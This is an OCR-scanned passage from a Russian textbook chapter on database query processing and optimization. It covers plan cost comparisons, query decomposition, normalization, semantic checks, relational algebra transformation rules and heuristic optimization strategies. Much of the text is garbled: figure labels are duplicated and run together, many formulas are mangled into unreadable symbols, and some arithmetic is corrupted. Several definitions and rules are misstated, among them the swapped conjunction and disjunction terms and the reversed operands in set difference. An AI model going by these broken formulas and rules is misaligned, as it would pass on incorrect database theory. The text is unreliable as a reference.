При обработке первого варианта запроса вычисляется декартово произведение таблиц Staff и Branch, для чего потребуется (1000+50) операций доступа к диску при чтении исходных отношений и вывод на диск результирующей таблицы, содержащей (1000*50) строк. Затем потребуется вновь считать с диска все эти (1000*50) строки, чтобы проверить каждую из них на соответствие заданному предикату. В результате общая стоимость обработки данного варианта запроса составит:
(1000 + 50) + 2*(1000 * 50) = 101 050 дисковых операций
Во втором варианте записи запроса сначала осуществляется соединение таблиц Staff и Branch по полю Впо, для чего потребуется выполнить 1000+50 обращений к диску при считывании кортежей исходных отношений. Очевидно, что результирующая таблица операции соединения будет насчитывать 1000 кортежей — по одному, для каждого из сотрудников компании (поскольку каждый работник может быть приписан только к одному из отделений). Последующая операция выборки потребует выполнения 1000 обращений к диску с целью считывания результатов операции соединения, поэтому общая стоимость выполнения запроса составит: 2*1000 + (1000 +50) = 3 050 дисковых операций'
На первом этапе последнего варианта обработки запроса каждый кортеж таблицы Staff проверяется на соответствие указанному предикату, для чего потребуется выполнить 1000 операций чтения. Результирующий набор данных состоит всего из 50 строк. На следующем этапе выполняется операция выборки из таблицы Branch
сведений о тех отделениях, которые расположены в Лондоне. Считывается 50 исходных кортежей и записывается результирующая таблица из пяти строк. На последнем этапе выполняется соединение укороченных отношений Staff и Branch, для чего потребуется 504-5 операций чтения. Следовательно, общая стоимость обработки запроса составит:
1000 + 2*50 +5+ (50+5) =1 160 дисковых операций
Очевидно, что наиболее эффективным является третий вариант записи запроса, причем стоимость его выполнения в 87 раз меньше стоимости первого варианта. Если увеличить количество кортежей в таблице Staff до 10 000, а число отделений компании — до 500, то третий вариант запроса окажется эффективнее первого в 870 раз! Интуитивно понятно, что выполнение операции декартового произведения или соединения таблиц связано с большими затратами, чем выполнение операции выборки. Поэтому основное преимущество третьего варианта обработки запроса состоит в том, что размеры обрабатываемых таблиц были существенно сокращены до выполнения операции соединения. Отсюда можно сделать предварительный вывод, что при оптимизации запросов унарные операции выборки и проекции целесообразно выполнять как можно раньше, поскольку это позволит уменьшить размеры наборов данных, участвующих в бинарных операциях.
Процесс обработки запросов может быть разделен на четыре основных этапа: декомпозицию (включает процедуры сканирования и проверки), оптимизацию, генерацию кода и выполнение — как показано на рис. 18.1. В разделе 18.2 мы кратко обсудим выполнение первого этапа — декомпозиции, после чего сосредоточим основное внимание на втором этапе — оптимизации запросов. В конце данной главы мы кратко рассмотрим, в каких именно случаях оптимизация может применяться.
Время компиляцииВремя компиляцииВремя выполненияВремя выполненияЗапрос на языке высокогоЗапрос на языке высокогоуровня (обычно на SQL)уровня (обычно на SQL)Рис. 18.1. Основные этапы процесса оптимизации запросовРис. 18.1. Основные этапы процесса оптимизации запросов
Время компиляции
Время компиляции
Время выполнения
Время выполнения
Запрос на языке высокого
Запрос на языке высокого
уровня (обычно на SQL)
уровня (обычно на SQL)
Рис. 18.1. Основные этапы процесса оптимизации запросов
Рис. 18.1. Основные этапы процесса оптимизации запросов
Динамическая и статическая оптимизация запросов
Существует два варианта выполнения первых трех этапов процесса оптимизации запросов. В первом случае декомпозиция и оптимизация выполняются динамически, при каждом вызове запроса. Преимущество динамической оптимизации запросов состоит в том, что вся используемая в процессе выбора оптимальной стратегии информация является актуальной именно на текущий момент времени. Основной недостаток динамической оптимизации состоит в относительном снижении эффективности обработки запросов, поскольку этапы сканирования, проверки и оптимизации выполняются при обработке каждого из запросов. Более того, диапазон анализируемых стратегий может быть сокращен из-за необходимости обеспечения приемлемой производительности обработки, что может иметь следствием выбор менее оптимальной стратегии.
Альтернативным вариантом является статическая оптимизация запросов, предусматривающая однократное выполнение этапов сканирования, проверки и оптимизации. Этот подход подобен использованию компиляторов для обработки программ, написанных на различных языках программирования. Основное преимущество статической оптимизации состоит в устранении дополнительной нагрузки из-за выполнения процедур оптимизации в процессе выполнения запроса. В результате появляется возможность более тщательного подбора оптимальной стратегии за счет анализа большего числа возможных вариантов. В случае многократно выполняемых запросов, дополнительные затраты времени на поиск самых оптимальных решений могут дать существенный выигрыш в достигаемой производительности. Основной недостаток этого метода состоит в том, что выбранная стратегия выполнения запроса, которая была оптимальной при компиляции запроса, в момент выполнения запроса может оказаться уже не самой оптимальной. Для преодоления этого недостатка может использоваться комбинированный подход, предусматривающий повторную оптимизацию запроса в том случае, когда система обнаруживает, что статистические показатели базы данных существенно изменились с момента выполнения оптимизации данного запроса. Альтернативный вариант предусматривает автоматическую компиляцию запроса при первом его выполнении в каждом из сеансов, с последующим кэшированием оптимизированного плана запроса в течение всего времени существования данного сеанса. Это позволяет однократно выполнять оптимизацию каждого из запросов, используемых в отдельном сеансе работы с базой данных.
Декомпозиция запросов
Декомпозиция представляет собой первый этап обработки запросов. Назначение этапа декомпозиции состоит в преобразовании запроса на языке высокого уровня в выражение реляционной алгебры, с последующей проверкой его синтаксической и семантической корректности. Обычно декомпозиция включает стадии анализа, нормализации, семантического анализа, упрощения и реструктуризации запроса.
Анализ
На этой стадии выполняется лексический и синтаксический анализ запроса с использованием методов, применяемых в компиляторах языков программирования высокого уровня (Aho and Ulman, 1977). Дополнительно уточняется, присутствуют ли в системном каталоге определения для указанных в запросе отношений и атрибутов. Кроме того контролируется, могут ли затребованные в запросе операции над различными объектами базы данных быть применены к объектам соответствующего типа. Например, рассмотрим следующий запрос:
SELECT staff_no FROM Staff
WHERE position >10;
Выполнение этого запроса будет отклонено по следующим двум причинам.
В списке выборки запроса указан атрибут Staff_No, отсутствующий в определении отношения Staff (на самом деле соответствующий атрибут имеет имя Sno).
В предложении WHERE операция сравнения *‘>10” несовместима с типом атрибута Position, который описан в отношении как строка символов.
После завершения данной стадии декомпозиции запрос на языке высокого уровня преобразуется к некоторому внутреннему представлению, более удобному для выполнения последующей обработки. Как правило, для внутреннего представления запроса выбирается та или иная форма дерева запроса. Дерево запроса конструируется следующим образом.
Листовые узлы создаются для каждого используемого в запросе базового отношения.
Нелистовые узлы создаются для каждого промежуточного отношения, создаваемого в результате выполнения некоторой операции реляционной алгебры.
Корень дерева представляет результирующий набор данных запроса.
Операции выполняются в направлении от листовых узлов к корню дерева.
На рис. 18.2 показано дерево запроса, построенное для SQL-оператора из примера 18.1. Это дерево является примером использования понятий реляционной алгебры для создания внутреннего представления запросов. В дальнейшем деревья подобного типа мы будем называть деревьями реляционной алгебры.
^s.bno^b.bnoКорень
°s.position- Manager* CTb.city-London* Промежуточные операции
|А
Таблица Staff Таблица Branch Листья
Рис. 18.2. Пример дерева реляционной алгебры
Нормализация
При оптимизации запросов стадия нормализации служит для преобразования запроса в нормализованную форму, что выполняется с целью упрощения манипулирования им. На этой стадии предикаты (в языке SQL они определяются в предложениях WHERE), которые могут представлять собой выражения произвольной степени сложности, преобразуются в одну из двух стандартных форм. Осуществляется эта операция посредством применения к предикатам нескольких, перечисленных ниже правил преобразования (Jarke, 1984).
Конъюнктивная нормальная форма. Представляет собой последовательность конъюнкций, связанных между собой операторами дизъюнкции л (AND). Каждая конъюнкция содержит один или больше термов, соединенных операторами конъюнкции v (OR). Например:
(position = 'Manager' v salary > 20000) a bno = 'B3'
Выборка, выполненная на основе конъюнктивного предиката, содержит только те кортежи, которые удовлетворяют всем входящим в предикат конъюнкциям.
Дизъюнктивная нормальная форма. Представляет собой последовательность дизъюнкций, соединенных между собой операторами конъюнкции v (OR). Каждая дизъюнкция содержит один или больше термов, соединенных операторами конъюнкции л (AND). Например, приведенную выше конъюнктивную форму можно переписать в следующем виде:
(position = 'Manager' л bno = 'B3' ) v (salary > 20000 л bno = 'B3')
Выборка, выполненная на основе дизъюнктивного предиката, содержит объединение всех кортежей, которые удовлетворяют любой из входящих в предикат конъюнкций.
Семантический анализ
Целью проведения семантического анализа является отклонение нормализованных запросов, которые некорректно сформулированы или содержат противоречивые требования. Запрос считается некорректно сформулированным, если его выполнение никогда не сможет привести к созданию результирующего набора данных. Чаще всего подобная ситуация возникает тогда, когда в предикате отсутствует определение необходимых операций соединения. Запрос считается противоречивым, если его предикат никогда не сможет быть удовлетворен каким-либо кортежем. Например, для отношения Staff предикат (position = 'Manager' л position = 'Assistant') является противоречивым, поскольку никакой сотрудник компании не может одновременно быть и руководителем (Manager), и ассистентом (Assistant). По этой причине предикат ((position = 'Manager' л position = 'Assistant') v salary > 20000) может быть упрощен до варианта (salary > 20000), поскольку его противоречивую фразу можно просто заменить логическим значением FALSE. К сожалению, функция выявления и обработки противоречивых фраз поддерживается не всеми существующими СУБД.
Алгоритм определения корректности существует только для подмножества запросов, не содержащих операций дизъюнкции и отрицания. По отношению к указанному подмножеству вопросов могут применяться следующие проверки.
Построение графа соединения отношений (Wong and Youssefi, 1976). Если элементы графа оказываются разъединенными, формулировка запроса является неверной. При построении графа соединения отношений сначала создается отдельный узел для каждого используемого в запросе отношения, а также для результирующей таблицы запроса. Затем между парами узлов проводятся дуги, представляющие операции соединения, и дуги вокруг отдельных узлов, представляющие операции проекции исходных таблиц.
Построение графа соединений нормализованных атрибутов (Rosenkrantz and Hunt, 1980). Если граф включает петлю, для которой сумма оценок является отрицательной, то запрос содержит противоречивые условия. При построении графа соединений нормализованных атрибутов сначала создаются отдельные узлы для каждой ссылки на атрибут и константы 0. Затем проводятся направленные дуги между узлами, представляющие операции соединения, а также направленные дуги между узлами атрибутов и констант 0, которые представляют операции выборки. Далее каждому ребру а —> b присваивается весовое значение с, если оно представляет условие, записанное в виде неравенства (а < b + с), а каждому ребру 0 ч а значение -с, если оно представляет неравенство типа (а > с).
Пример 18.2. Проверка семантической корректности запроса
Рассмотрим следующий SQL-запрос:
SELECT p.pno, р.street
FROM renter г, viewing v, property for rent p WHERE r.rno = v.rno AND
r.max rent >= 500 AND r.pref type = 'Flat' AND p.ono = 'CO93';
В графе соединения отношений для этого запроса, показанном на рис. 18.3, а, есть не соединенные между собой элементы. Это указывает на то, что данный запрос сформулирован неверно. Ошибка состоит в том, что в предикате пропущено условие соединения (v.pno = p.pno).
Рис. 18.3. Пример выполнения семантического анализа: а) граф соединения отношений свидетельствует о неправильной формулировке запроса; б) граф соединения нормализованных атрибутов указывает на противоречивость запроса
, Теперь рассмотрим другой запрос:
i SELECT p.pno, р.street
FROM renter r, viewing v, property for rent p
WHERE r.max rent > 500 AND r.rno = v.rno AND v.pno * p.pno AND
’ r.pref type = 'Flat' and r.max rent < 200;
Граф соединения нормализованных атрибутов для этого запроса показан на рис. 18.3, б. Этот граф включает петлю между узлами R.Max Rent и 0, для которой сумма весовых значений является отрицательной, и, следовательно, предикат дан, кого запроса содержит противоречивые условия. Действительно, не может быть арендатора, указавшего максимально приемлемую для него сумму арендной платы
, больше 500 фунтов стерлингов и меньше 200 фунтов стерлингов одновременно.
Упрощение
Целью выполнения процедуры упрощения является выявление избыточных квалификаторов, исключение общих подвыражений и преобразование запроса в семантически эквивалентную форму, позволяющую упростить требуемые вычисления или повысить эффективность их выполнения. На этой же стадии обычно рассматриваются существующие ограничения доступа, раскрываются определения используемых представлений и учитываются требования поддержки целостности данных — т.е. выполняются те процедуры, которые также могут стать источником избыточности условий запроса. Если пользователь не имеет необходимых прав доступа ко всем без исключения компонентам запроса, выполнение этого запроса отменяется. После по-
лучения подтверждения того, что пользователь обладает всеми требуемыми правами доступа, текст запроса подвергается предварительной оптимизации на основе широко известных правил эквивалентности реляционной алгебры:
Р Л (р) = р р л false = false р a true = р р л (~р) = false р л (р v q) = рР Л (р) = р р л false = false р a true = р р л (~р) = false р л (р v q) = рр v (р) = рр v false = рр v (р) = рр v false = рр v true = true р v (~р) = true Р V (р Л q) = рр v true = true р v (~р) = true Р V (р Л q) = р
Р Л (р) = р р л false = false р a true = р р л (~р) = false р л (р v q) = р
Р Л (р) = р р л false = false р a true = р р л (~р) = false р л (р v q) = р
р v (р) = р
р v false = р
р v (р) = р
р v false = р
р v true = true р v (~р) = true Р V (р Л q) = р
р v true = true р v (~р) = true Р V (р Л q) = р
Например, рассмотрим определение представления и запрос, обращающийся к данным в этом представлении:
CREATE VIEW staff3''
AS SELECT sno, fname, Iname, salary
FROM staff
WHERE bno = 'B3';
SELECT *
FROM staff3
WHERE (bno = 'B3' AND salary > 20000);
Как указывалось выше, в разделе 14.1.3, на этапе раскрытия представлений этот запрос будет преобразован следующим образом:
SELECT sno, fname, Iname, salary
FROM staff
WHERE (bno = 'B3' AND salary > 20000) AND bno = 'B3';
Текст предложения WHERE данного запроса можно сократить до вида (bno = 'ВЗ' AND salary > 20000).
Установленные в системе требования поддержки целостности данных также могут способствовать упрощению вида запросов. Например, рассмотрим утверждение и эффект, полученный от его применения к некоторому запросу:
CREATE ASSERTION only_manager_salary_high
CHECK ((position <> 'Manager' AND salary < 20000) OR (position = 'Manager' AND salary > 20000));
SELECT *
FROM staff
WHERE (position = 'Manager' AND salary < 15000);
Предикат, заданный в предложении WHERE данного запроса, противоречит правилу, установленному приведенным выше утверждением. Действительно, утверждение требует, чтобы заработная плата любого менеджера компании превышала 20 000 фунтов стерлингов в год, а потому приведенному в запросе предикату не может удовлетворять ни один из кортежей таблицы staff.
Реструктуризация запросов
На финальной стадии этапа декомпозиции запрос преобразуется таким образом, чтобы обеспечить наиболее эффективное его выполнение. Анализу способов реструктуризации запросов посвящена вся оставшаяся часть этой главы.
Эвристический подход к оптимизации запросов
В этом разделе рассматривается эвристические методы оптимизации запросов, которые предусматривают использование правил трансформации для преобразования выражения реляционной алгебры в некоторую эквивалентную форму, обработка которой будет заведомо более эффективной. Так, при обсуждении примера 18.1, мы вывели правило, что выполнять операции выборки из таблиц до того, как эти таблицы будут использованы в операциях соединения, более эффективно, чем выполнять эти же действия в обратном порядке. В разделе 18.3.1 будет показано, что существуют определенные правила трансформации, позволяющие изменять порядок выполнения операций соединения и выборки таким образом, чтобы операции выборки выполнялись в первую очередь. После обсуждения того, какие виды трансформации запросов являются допустимыми, вашему вниманию будет предложен набор эвристических правил (раздел 18.3.2), которые позволяют получить достаточно хорошие стратегии выполнения запросов, хотя и не всегда самые оптимальные.
Правила преобразований операций реляционной алгебры
Опираясь на правила трансформации (преобразования операций), оптимизатор получает возможность преобразовать некоторое выражение реляционной алгебры в эквивалентное ему выражение, обработка которого будет заведомо более эффективной. Данные правила мы будем использовать для реструктуризации (канонического) дерева реляционной алгебры, построенного в процессе декомпозиции запроса. Доказательства приведенных здесь правил можно найти в работе Ахо (Aho et al., 1979). Для представления формул этих правил воспользуемся тремя отношениями — R, S и Т, причем в отношении R определен набор атрибутов А = {А^ А2, ...# Ап}, а в отношении S — набор атрибутов В = {BIf В2г Вп}. Обозначения р, q и г будут использованы для представления предикатов, а обозначения L, Ц, L2, М, Мр М2 и N — для представления наборов атрибутов.
Операция выборки с конъюнктивным предикатом может быть преобразована в последовательность операций выборки по членам конъюнкции (и наоборот).
^рлдлг(^) “ ^р (^q ( ^Г ( ^ ) ) )
Этот метод преобразования иногда называют каскадной выборкой. Например: аЬпо='ВЗ' л salary>15OOo(Staff ) = abno= 'ВЗ'(°salary>15000 ( Staff ) )
Правило коммутативности операции выборки.
ap(aq(R)) = aq(op(R))
Например:
^Ьпо^ВЗ' (^sal.ary>15OOo( Staff) ) = CFSalary>l 5000 (^bno='B3* (Staff))
В последовательности операций проекции необходима только последняя из этих операций.
ПЬПМ ... Hn(R) = fIL(H)‘
Например:
^ Iname^bno, name (Staff ) - П^пате( Staff )
Правило коммутативности операций выборки и проекции.
Если предикат р включает только атрибуты, входящие в список проекции, то операции выборки и проекции будут обладать свойством коммутативности:
n*i, ,ta(Op(R))=ap(nAi, ,лт(К)) где p e {Ap A2,..., A„}
Например:
Hfname,Inane (^Iname*'Beech' (Staff)) - ^name='Beech' (Hfname,iname (Staff))
Правило коммутативности операции тета-соединения (и декартового произведения).
RxpS = SxpR
R х S = S х R
Операции соединения по эквивалентности и натурального соединения являются особыми случаями операции тета-соединения, поэтому приведенное выше правило применимо и к этим двум операциям. Например, для операции соединения по эквивалентности отношений Staff и Branch справедливо следующее утверждение:
Staff X staff.bno=branch.bno Branch = Branch X staff.bno=branch.bno Staff
Правило коммутативности операций выборки и тета-соединения (или декартового произведения).
Если предикат операции выборки включает атрибуты только одного из соединяемых отношений, то операции выборки и соединения (или декартового произведения) будут обладать свойством коммутативности:
op(R xr S) = (op(R)) xr S
<5p(R х S) = (op(R)) х S где р е (Alf А2, Ап}
В альтернативном случае, когда предикат операции выборки представляет собой конъюнкцию предикатов вида (р л q), где предикат р включает атрибуты только отношения R, а предикат q включает атрибуты только отношения S, операции выборки и тета-соединения будут обладать следующим вариантом свойства коммутативности:
арлч(Н хг S) = (ap(R)) xr (aq(S))
opAq(R х S) = (ap(R)) x (oq(S))
Например:
^position®'Manager' л city='London (Staff ^^staff .bno=branch.bno Branch) -
(^position-'Manager (Staff)) CXstaff,bno=branch.bno (^city='London' (Branch))
Правило коммутативности операций проекции и тета-соединения (или декартового произведения).
Если список атрибутов операции проекции имеет вид L = Lj и Ь2, где в подсписок Iq входят атрибуты только отношения R, а в подсписок L2 — атрибуты только отношения S, то в том случае, когда условие соединения содержит только атрибуты отношения L, операции проекции и тета-соединения будут обладать следующим вариантом свойства коммутативности:
nL1uL2(R Хг 8) = (ПЫ(Ю) Xr(nL2(S))
Если условие соединения содержит дополнительные атрибуты, не входящие в отношение L, например, атрибуты М = М} и М2, где список Mi содержит атрибуты только отношения R, а список М2 — только атрибуты отношения S, то дополнительно потребуется выполнить завершающую операцию проекции:
ПыиЬ2(В ^ S) - ПыиЬ2( (ПьЮМ! (В) ) ^г (Пь2иМ2 ( $ ) ) )
Например:
ripQgition,city,bno(Staff х staff.bno=branch.bno Branch) -
(ПроаШоп,Ьпо(Staff)) X staff,bno«branch.bno (Ilcity, bno(®ranch))
Вариант с использованием второго правила:
Imposition, city (^taff X staff,bno=branch.bno Blanch) s
ripositionrcity( (Imposition,bno( Staff)) X staff .bno=branch.bno( ricity,bno( branch)))
Правило коммутативности операций объединения и пересечения (но не разности множеств).
R и S = S и R
R П S = S П R
Правило коммутативности операции выборки и операций над множествами (объединение, пересечение и разность множеств).
ap(R <j S) = gp(S) u gp(R)
ap(R n S) = gp(S) n gp(R)
ap(R - S) = Gp(S) - ap(R)
Правило коммутативности операций проекции и объединения.
ПЬ(К и S) = nL(S) u nL(R)
Правило ассоциативности операции тета-соединения (и декартового произведения).
Операции декартового произведения и естественного соединения всегда ассоциативны:-х
(R ▻< S) ▻< Т = R >< (S ▻< Т)
(R х S) х Т = R X (S х Т)
Если условие соединения q включает атрибуты только из отношений S и Т, то операция тета-соединения обладает свойством ассоциативности следующего вида:
(R Хр S) xq Л r Т = R хр Л r (S xq Т)
Например:
(Staf f Xgtaff a 8no=property_for_rent. sno
Property_for_Rent) ^^ono-owner.ono л staff.Iname-owner.Inane Owner
Staff Xstaff snoxproperty_for_rent.sno л staff. 1 паше» 1 name (PfOperty_fOI^Rent Xono Owner)
Обратите внимание, что в этом примере было бы неправильно просто перенести скобки, поскольку это имело бы результатом появление в условии соединения отношений Property_for_Rent и Owner неопределенной ссылки (Staff .Lname):
Staff Xgtaff.sno=snc (Property_for_Rent ^^roperty-forjrent.cmo^Dwn^^ a Inane-owner.Iname Owner)
Правило ассоциативности операций объединения и пересечения (но не операции разности множеств).
(R и S) и Т = S и (R и Т)
(R n S) ПТ = S n (R n Т)
Пример !8.3. Использование правил преобразования выражении реляционной алгебруЛ .
Выберите сведения обо всех сдаваемых в аренду объектах недвижимости, шифр владельца которых равен *0093*, отвечающих требованиям потенциальных клиентов компании, желающих снять квартиру.
Соответствующий SQL-запрос может быть записан следующим образом:
SELECT p.pno, р.street
FROM renter г, viewing v, property for rent p
WHERE r.pref type = 'Flat' AND r.rno * v.rno AND v.pno = p.pno AND
r.max_rent >» p.rent AND r.pref^type = p.type AND p.ono = 'CO93';
В данном примере мы предположим, что существует лишь несколько объектов недвижимости, владелец которых имеет номер 'СО93' и которые удовлетворяют требованиям потенциальных арендаторов отдельных квартир. В результате преобразования приведенного выше SQL-оператора будет получено следующее выражение реляционной алгебры:•
Пр.pnOfP.street(^r.pref type='Flat' a r.rno=v.rno a v.pno=p.pno а г.max rent>=p.rent а
г.pref type«p.type a p.ono='C093' ((R х V) x ^))
Данное выражение может быть представлено в виде канонического дерева реляционной алгебры, общий вид которого показан на рис. 18.4, а. Для повышения эффективности обработки данного запроса мы применим следующие правила преобразования выражений реляционной алгебры.
А. Правило 1, позволяющее преобразовать операцию выборки по конъюнкции условий в последовательность операций выборки по отдельным условиям, входящим в конъюнкцию.
Б. Правила 2 и 6, позволяющие переупорядочить последовательность операций выборки и применить правило коммутативности к операциям выборки , и декартового произведения .
Результаты выполнения эти двух первых этапов показаны на рис. 18.4, б.
Правило, описанное в разделе 3.4.1, согласно которому операция выборки по предикату, включающему соединение по эквивалентности и декартово произведение, может быть преобразована в операцию соединения по эквивалентности: aR.a-S.b(^ X S) = R XR.a=s.b S
Применим это правило во всех подходящих случаях. Результаты выполнения этого этапа показаны на рис. 18.4, в.
Правило 11, в соответствии с которым мы преобразуем операцию соединения по эквивалентности так, чтобы более ограничивающая операция выборки по условию "p.ono = 'СО93'" выполнялась первой — как показано на рис 18.4, г.
Правила 4 и 7, позволяющие переместить операции проекции так, чтобы они выполнялись до операций соединений по эквивалентности, а также создать новые полезные операции проекции. Результаты применения этих правил показаны на рис. 18.4, д.
Можно обнаружить дополнительную возможность оптимизации, существующую именно для данного конкретного примера, если обратить внимание на то, что операция выборки по условию “г.pref type=p.type” вполне может быть заменена операцией выборки по условию “p.type = 'Flat'", поскольку о существовании условия “г.pref type='Flat'” нам известно еще из первого варианта предиката. Воспользовавшись данным вариантом замены можно опустить эту операцию выборки вниз по дереву реляционной алгебры. В результате будет получен окончательный вариант дерева оптимизированного запроса, вид которого показан на рис. 18.4, е.
ПР „0. P.street
Пр.рпо, P.streetПр.рпо, P.street°R.max_rent>=P.rent л R.pref_type=P.type
Пр.рпо, P.street
Пр.рпо, P.street
°V pno=P pno
^P.pno, P.street^P.pno, P.streetXXaR.max_rent>=P.rent л R.pref_type=P.typeaR.max_rent>=P.rent л R.pref_type=P.type°R.pref_type-Flat" a R.mo=V.mo л V pno=P.pno aR.maxjent>=P.rent л R.pref_type=P.type a R.ono='CO93'°R.pref_type-Flat" a R.mo=V.mo л V pno=P.pno aR.maxjent>=P.rent л R.pref_type=P.type a R.ono='CO93'°R.mo=V.mo °P.ono='CO93'°R.mo=V.mo °P.ono='CO93'^Vpno=P.pno^Vpno=P.pno(a)(a)VVXXpp^.mo=V.mo ^.опо-СОЗЗ’^.mo=V.mo ^.опо-СОЗЗ’RR°R.pref_type='Flat* V°R.pref_type='Flat* V°R.pref_type=*Flat’ V°R.pref_type=*Flat’ VppR (6)R (6)R (в)R (в)
^P.pno, P.street
^P.pno, P.street
X
X
aR.max_rent>=P.rent л R.pref_type=P.type
aR.max_rent>=P.rent л R.pref_type=P.type
°R.pref_type-Flat" a R.mo=V.mo л V pno=P.pno aR.maxjent>=P.rent л R.pref_type=P.type a R.ono='CO93'
°R.pref_type-Flat" a R.mo=V.mo л V pno=P.pno aR.maxjent>=P.rent л R.pref_type=P.type a R.ono='CO93'
°R.mo=V.mo °P.ono='CO93'
°R.mo=V.mo °P.ono='CO93'
^Vpno=P.pno
^Vpno=P.pno
(a)
(a)
V
V
X
X
p
p
^.mo=V.mo ^.опо-СОЗЗ’
^.mo=V.mo ^.опо-СОЗЗ’
R
R
°R.pref_type='Flat* V
°R.pref_type='Flat* V
°R.pref_type=*Flat’ V
°R.pref_type=*Flat’ V
p
p
R (6)
R (6)
R (в)
R (в)
Пр pno, P.streetПр pno, P.streetПР.рпо, P.streetПР.рпо, P.street
Пр pno, P.street
Пр pno, P.street
ПР.рпо, P.street
ПР.рпо, P.street
Пр.рпо, P streetПр.рпо, P streetaR max_rent>=P rent л R.pref_type=P.typeaR max_rent>=P rent л R.pref_type=P.type°R max-rent>=P.rent°R max-rent>=P.rentCTR.max_rent>=P.rent л R.pref_type=P.typeCTR.max_rent>=P.rent л R.pref_type=P.type^.rno^V rno^.rno^V rno^.mo^.mo.^.mo^.mo.^ rno=V rno^ rno=V rno^.рпо=Р.рпо и.то, R max^rent, R pref_type^.рпо=Р.рпо и.то, R max^rent, R pref_type^V.pno=P.pno °R pref. type=’Flaf^V.pno=P.pno °R pref. type=’FlafПрПр^.рпо=Р.рпо ^R.mo, fl.max_rent^.рпо=Р.рпо ^R.mo, fl.max_rentpno, P street, n.pno, P street, n.P rent, P.typeP rent, P.typelV pno, V rno °R.pref_type=’Rat‘lV pno, V rno °R.pref_type=’Rat‘Пр^ЯГев1 nv.pno.V.moПр^ЯГев1 nv.pno.V.mo°Н.ргеГ_1уре=Т1аГ°Н.ргеГ_1уре=Т1аГCTPwo='CO93’ VCTPwo='CO93’ VRR°Р.опо='СО93'°Р.опо='СО93'VVRR°P.ono='CO93' л V P.type-Rat*°P.ono='CO93' л V P.type-Rat*RRP (r)P (r)P(Д)P(Д)P(e)P(e)
Пр.рпо, P street
Пр.рпо, P street
aR max_rent>=P rent л R.pref_type=P.type
aR max_rent>=P rent л R.pref_type=P.type
°R max-rent>=P.rent
°R max-rent>=P.rent
CTR.max_rent>=P.rent л R.pref_type=P.type
CTR.max_rent>=P.rent л R.pref_type=P.type
^.rno^V rno
^.rno^V rno
^.mo^.mo.
^.mo^.mo.
^ rno=V rno
^ rno=V rno
^.рпо=Р.рпо и.то, R max^rent, R pref_type
^.рпо=Р.рпо и.то, R max^rent, R pref_type
^V.pno=P.pno °R pref. type=’Flaf
^V.pno=P.pno °R pref. type=’Flaf
Пр
Пр
^.рпо=Р.рпо ^R.mo, fl.max_rent
^.рпо=Р.рпо ^R.mo, fl.max_rent
pno, P street, n.
pno, P street, n.
P rent, P.type
P rent, P.type
lV pno, V rno °R.pref_type=’Rat‘
lV pno, V rno °R.pref_type=’Rat‘
Пр^ЯГев1 nv.pno.V.mo
Пр^ЯГев1 nv.pno.V.mo
°Н.ргеГ_1уре=Т1аГ
°Н.ргеГ_1уре=Т1аГ
CTPwo='CO93’ V
CTPwo='CO93’ V
R
R
°Р.опо='СО93'
°Р.опо='СО93'
V
V
R
R
°P.ono='CO93' л V P.type-Rat*
°P.ono='CO93' л V P.type-Rat*
R
R
P (r)
P (r)
P(Д)
P(Д)
P(e)
P(e)
Puc. 18.4. Варианты эквивалентных деревьев реляционной алгебры для запроса из примера 18.3: а) каноническое дерево реляционной алгебры; б) дерево реляционной алгебры, полученное после перемещения операций выборки вниз; в) дерево реляционной алгебры, образованное посредством замены операций выборки/декартового произведения операциями соединения по эквивалентности; г) дерево реляционной алгебры, образованное с помощью применения свойства ассоциативности операций соединения по эквивалентности; д) дерево реляционной алгебры, полученное с помощью перемещения вниз операций проекции; е) окончательный вид оптимизированного дерева реляционной алгебры, образованный посредством подстановки предиката R.PrefJType = 'Flat' в операцию выборки по значению поля Р.Туре и перемещения этой операции в нижнюю часть дерева*
Стратегии эвристической обработки запросов
Во многих СУБД для выбора стратегии обработки запросов используются те или иные эвристические правила. В этом разделе мы обсудим несколько подобных правил, которые чаще всего применяются на практике для оптимизации обработки запросов.
Выполнение операций выборки на самых ранних этапах обработки.
Выполнение операции выборки сокращает кардинальность отношения и сокращает время последующих операций обработки запроса. Следовательно, целесообразно начинать оптимизацию с использования правила 1 для формирования каскадной последовательности операций выборки, после чего следует применять правила 2, 4, 6 и 9, чтобы поменять местами унарные или бинарные операции операциями выборки. Цель этих манипуляций состоит в том, чтобы переместить операцию выборки в дереве реляционной алгебры как можно ниже. Дополнительно полезно сохранять вместе все предикаты, касающиеся одного и того же отношения.
Объединение в одну операцию соединения операции декартового произведения и следующей зп ней операции выборки, предикат которой представляет условие соединения.
Выше уже отмечалось, что операция выборки с предикатом типа тета- соединения и операция декартового произведения могут быть представлены одной операцией тета-соединения:
ак.а 0 S.b(R х S) - R Х^.а 0 s.b S
Использование свойства ассоциативности бинарных операций для переупоря- дочивания листовых узлов таким образом, что листовые узлы с наиболее ограничивающими операциями выборки будут выполняться в первую очередь.
Напомним, что основное правило повышения эффективности состоит в выполнении как можно большего количества ограничивающих операций до перехода к выполнению бинарных операций. Предположим, что требуется выполнить две последовательные операции соединения:
(R ^R.a 0 S.b S) X- с 0 T.d ^
В этом случае можно воспользоваться правилами 11 и 12, описывающими ассоциативные свойства операций тета-соединений (а также объединений и пересечений). Цель состоит в переупорядочивании операций таким образом, чтобы первым выполнялось соединение, в результате которого будет получено меньшее по размеру результирующее отношение. Это позволит выполнить второе соединение с меньшим по размеру исходным отношением.
Как можно более раннее выполнение операций проекции.
Напомним, что операции проекции уменьшают кардинальность отношений, что приводит к сокращению объемов данных, подлежащих дальнейшей обработке. Следовательно, целесообразно сначала использовать правило 3 для построения исходной последовательности операций проекции, после чего применить к ним правила 4, 5 и 10, описывающие свойства коммутативности операций проекции с бинарными операциями. Целью данной процедуры является перемещение операций проекции вниз по дереву реляционной алгебры (насколько это будет возможно). Дополнительно рекомендуется объединять операции проекции, выполняемые над одним и тем же отношением.
Однократное вычисление общих выражений.
Если одно и то же выражение встречается в дереве реляционной алгебры несколько раз и результат его вычисления не слишком велик, целесообразно сохранить этот результат после его первого вычисления с целью повторного использования по мере необходимости. Однако выигрыш будет получен только в том случае, если размер результирующей таблицы общего выражения доста-
точно мал, чтобы сохранять его в первичной памяти, либо стоимость его выборки из вторичной памяти будет меньше стоимости его повторного вычисления. Этот подход может оказаться особенно эффективным при работе с представлениями, поскольку при каждом обращении к некоторому представлению должны вычисляться одни и те же выражения.
В разделе 20.7 будет показано, как все эти эвристические правила могут применяться к обработке распределенных запросов. В разделе 23.5 описывается, как некоторые из приведенных здесь эвристических правил могут быть дополнительно углублены для использования в среде объектно-реляционных СУБД, поддерживающих обработку запросов, содержащих определенные пользователем типы данных и функции.
